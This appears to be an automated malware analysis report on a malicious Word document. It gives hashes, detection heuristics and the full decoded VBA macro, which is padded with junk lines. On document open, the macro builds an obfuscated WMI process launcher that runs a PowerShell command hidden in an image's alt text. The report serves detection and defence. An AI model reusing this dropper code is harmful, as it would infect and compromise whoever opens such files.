Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 be92169269a19cdc…

MALICIOUS

Office (OLE) / .DOC

151.5 KB Created: 2020-09-22 22:58:00 Authoring application: Microsoft Office Word First seen: 2026-06-07
MD5: 276cee63ee1c94cf5db6aeaf71e26e28 SHA-1: 2af252346a6f61cd6292c49b35d42993aeefc5a9 SHA-256: be92169269a19cdcaeb6f658b69f8860e7470a17280d8c2a64be2138cb5e8ac8
210 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Ewtz-9765445-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Ewtz-9765445-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set F_f5ke4ldzkmuffu41 = CreateObject(Bhuxr364bcu0kqw7br)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17155 bytes
SHA-256: 31d4272d1ac9eebfef130442786dd18dc30e76c987208e958b6c6860358d82de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ts7wunxnjggd36"
Attribute VB_Base = "0{225259BE-7FCA-471D-9A76-98A5E81643AE}{634289F0-A065-4A3B-9624-FDDE2637802F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Uev7ynzjhvew3hw()
On Error Resume Next
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Yey96mssgnqmxd5ea5 = 12
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

L1as3yx5fvxy = Env2imfjx4mkrvxlid + Chr$(Yey96mssgnqmxd5ea5 + (103))
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Xqlymqzf9_7fj97rr = ", A :, A :w, A :i, A :nm, A :, A :gm, A :t, A :, A :" + L1as3yx5fvxy + ", A :, A ::, A :w, A :in, A :, A :3, A :2, A :_, A :" + Ts7wunxnjggd36.Po55csdt780u5zyrmf + ", A :ro, A :, A :ce, A :s, A :s, A :"
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Bhuxr364bcu0kqw7br = Vgjag43v22xhc_d5o(Xqlymqzf9_7fj97rr)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Set F_f5ke4ldzkmuffu41 = CreateObject(Bhuxr364bcu0kqw7br)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Ymlyy1gy_89bcm5 = U5nfb54iiisxkvsbbk + Bhuxr364bcu0kqw7br + L1as3yx5fvxy + Ts7wunxnjggd36.Nszieird7s2 + Ts7wunxnjggd36.Toybqb4s2e6
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Set Ymthpxe68afahug4 = Vdw6psfrk4q(Ymlyy1gy_89bcm5 + Ts7wunxnjggd36.Po55csdt780u5zyrmf)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

F_f5ke4ldzkmuffu41.Create H8catcku6ft2q1d, L3rljztlv09hnh4ad4, Ymthpxe68afahug4
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

End Function
Function Vdw6psfrk4q(M7bzm5p8hcs)
On Error Resume Next
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
Set Vdw6psfrk4q = GetObject(M7bzm5p8hcs)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Vdw6psfrk4q. _
showwindow = wdKeyEquals - wdKeyEquals
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

End Function
Function Vgjag43v22xhc_d5o(Hhu2ytc6jugew3k)
On Error Resume Next
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Ke1z6cso4yj66 = CleanString(Hhu2ytc6jugew3k)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Br7c_ootr33 = Split(Ke1z6cso4yj66, ", A :")
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

K53v78d09cyyw = O8qd8aefbz_u + Join(Br7c_ootr33, Amxelsersthklaf)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

Vgjag43v22xhc_d5o = K53v78d09cyyw
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

End Function
Function H8catcku6ft2q1d()
On Error Resume Next
Tohfaqf06h40 = "POW" + "eR" + "sHe"
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

M49zs__e1uzh = Tohfaqf06h40 + K6v3cs05ecrosvq.Content.Application.ActiveDocument.InlineShapes(1@).AlternativeText$
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

H8catcku6ft2q1d = Vgjag43v22xhc_d5o(M49zs__e1uzh)
   Set iyhqwnkjq = Languages
EtwGHGrUWj = Mid _
(M1pav76b6e741umqc1, 44, 1)
rdLfc = Mid _
(M1pav76b6e741umqc1, 20, 1)
VtjGzriUiPu = Mid _
(M1pav76b6e741umqc1, 10, 1)
mfzioEw = Mid _
(M1pav76b6e741umqc1, 156, 1)
AwXRcHKqU = Mid _
(M1pav76b6e741umqc1, 28, 1)
UwwYnzPd = EtwGHGrUWj + rdLfc + VtjGzriUiPu + mfzioEw + AwXRcHKqU
cVDUM = Mid _
(M1pav76b6e741umqc1, 110, 1)
rYXknsji = Mid _
(M1pav76b6e741umqc1, 81, 1)
WJovzi = Mid _
(M1pav76b6e741umqc1, 161, 1)
iZuooVWVvT = Mid _
(M1pav76b6e741umqc1, 219, 1)
IvfNcY = Mid _
(M1pav76b6e741umqc1, 11, 1)
JDoETBGcY = UwwYnzPd + cVDUM + rYXknsji + WJovzi + iZuooVWVvT + IvfNcY
GddFiDjBOR = Mid _
(M1pav76b6e741umqc1, 108, 1)
jRFbdbS = JDoETBGcY + GddFiDjBOR

End Function


Attribute VB_Name = "K6v3cs05ecrosvq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Ldu9geq5fhetns = Array(D12l4zkk5uq9qkybj + "Ivsrjrjxcv1hr5Tcbx3n3f42o2h_trg Ba8mxrjcgx1vxcxd1" + Qosdup1272bx, Ctmo48ppvn1hfqh, Ts7wunxnjggd36.Uev7ynzjhvew3hw, Hedjk64n_rs + "Xvtatdwbkz5hl5c U7p_swvx0ni T_pmp4s_6zyb5 Vxk70r33vdbs")
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.